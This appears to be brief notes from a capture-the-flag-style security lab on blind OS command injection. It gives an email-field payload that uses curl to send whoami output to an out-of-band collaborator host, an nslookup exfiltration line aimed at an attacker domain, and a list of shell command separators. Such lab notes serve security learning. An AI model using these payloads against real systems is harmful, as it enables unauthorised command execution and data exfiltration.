5 - Blind OS command injection with out-of-band data exfiltration

#rce #infodisclosure #portswigger #writeup

email=test%40test.com||curl+"http://zwz8rzx8skcv9qkhk1n23ssan1tvhoec3.oastify.com?cmd=$(whoami)"||

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

• &
• &&
• |
• ||
• ;
• Newline (0x0a or \n)
• $()